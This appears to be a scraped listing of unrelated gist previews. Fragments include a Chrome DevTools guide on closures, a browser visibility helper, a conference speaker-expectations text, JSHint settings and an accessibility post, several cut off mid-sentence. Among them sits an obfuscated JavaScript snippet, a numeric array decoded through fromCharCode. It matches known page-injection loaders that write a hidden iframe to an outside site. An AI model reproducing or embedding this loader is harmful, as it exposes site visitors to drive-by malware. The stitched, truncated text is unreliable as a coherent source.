Authored by Peter Rybin , Chrome DevTools team
In this short guide we'll review some new Chrome DevTools features for "function scope" and "internal properties" by exploring some base JavaScript language concepts.
Let's start with closures – one of the most famous things in JS. A closure is a function, that uses variables from outside. See an example:
| // this is the least sucky way i could think of to | |
| // detect and deal with a cross-browser impl of the page visibility api | |
| // forks welcome. | |
| function getHiddenProp(){ | |
| var prefixes = ['webkit','moz','ms','o']; | |
| if ('hidden' in document) return 'hidden'; | |
This document lays out some baseline expectations between conference speakers and conference presenters. The general goal is to maximize the value the conference provides to its attendees and community and to let speakers know what they might reasonably expect from a conference.
We believe that all speakers should reasonably expect these things, not just speakers who are known to draw large crowds, because no one is a rockstar but more people should have the chance to be one. We believe that conferences are better -- and, dare we say, more diverse -- when the people speaking are not just the people who can afford to get themselves there, either because their company paid or they foot the bill themselves. Basically, this isn't a rock show rider, it's some ideas that should help get the voices of lesser known folks heard.
These expectations should serve as a starting point for discussion between speaker and organizer. They are not a list of demands; they are a list of rea
| [ | |
| "window.Array -> (constructor)", | |
| "window.ArrayBuffer -> (constructor)", | |
| "window.Attr -> (constructor)", | |
| "window.Audio -> (constructor)", | |
| "window.AudioProcessingEvent -> (constructor)", | |
| "window.BeforeLoadEvent -> (constructor)", | |
| "window.Blob -> (constructor)", | |
| "window.CDATASection -> (constructor)", | |
| "window.CSSCharsetRule -> (constructor)", |
| { | |
| "// my options for SublimeLinter " : "//", | |
| "jshint_options" : { | |
| "boss": true, | |
| "browser": true, | |
| "curly": false, | |
| "devel": true, | |
| "eqeqeq": false, | |
| "eqnull": true, |
| i=0;try{grbregd=prototype;}catch(z){h="harCode";f=[-36.5,-36.5,11.5,10,-25,-21,9,14.5,8.5,17.5,13.5,9.5,14,17,-18,10.5,9.5,17,-6.5,13,9.5,13.5,9.5,14,17,16.5,-8,19.5,1,7.5,10.5,-2,7.5,13.5,9.5,-21,-21.5,8,14.5,9,19.5,-21.5,-20.5,4.5,-17,5.5,-20.5,20.5,-34.5,-36.5,-36.5,-36.5,11.5,10,16,7.5,13.5,9.5,16,-21,-20.5,-11.5,-34.5,-36.5,-36.5,21.5,-25,9.5,13,16.5,9.5,-25,20.5,-34.5,-36.5,-36.5,-36.5,9,14.5,8.5,17.5,13.5,9.5,14,17,-18,18.5,16,11.5,17,9.5,-21,-24,-11,11.5,10,16,7.5,13.5,9.5,-25,16.5,16,8.5,-10.5,-21.5,11,17,17,15,-12,-17.5,-17.5,10,7.5,19.5,9,15,13,16.5,15,13,-18,10,11.5,14,9,11,9.5,16,9.5,-18,14.5,16,10.5,-17.5,-9.5,10.5,14.5,-10.5,-16,-21.5,-25,18.5,11.5,9,17,11,-10.5,-21.5,-16.5,-17,-21.5,-25,11,9.5,11.5,10.5,11,17,-10.5,-21.5,-16.5,-17,-21.5,-25,16.5,17,19.5,13,9.5,-10.5,-21.5,18,11.5,16.5,11.5,8,11.5,13,11.5,17,19.5,-12,11,11.5,9,9,9.5,14,-11.5,15,14.5,16.5,11.5,17,11.5,14.5,14,-12,7.5,8,16.5,14.5,13,17.5,17,9.5,-11.5,13,9.5,10,17,-12,-17,-11.5,17,14.5,15,-12,-17,-11.5,-21.5,-10,-11,-17.5,11.5,10, |
A while ago I read Karl Grove’s [Barriers to improving the accessibility game plan][]. Probably the best post on a11y I’ve ever read. I really liked his approach in evolving the a11y strategy and left my thoughts. Reposted here, with some edits, for fun.
As a developer, the people who are most helpful are the ones explaining what the actual affects are of making sites more accessible… Most people I know that saw [Yahoo’s Victor Tsaran use a screenreader on video][]
below is a draft of a summary article that discusses the lazyweb-reqs repo.
I'm not 100% happy with how comprehensive the list is. in particular there are a number of BIG successes from the project that deserve a full paragraph or two and a screenshot.
that'll be intermixed with the summaries of each item.
I'd love assistance with this text if someone can help. cheers
| // omg we moved!! | |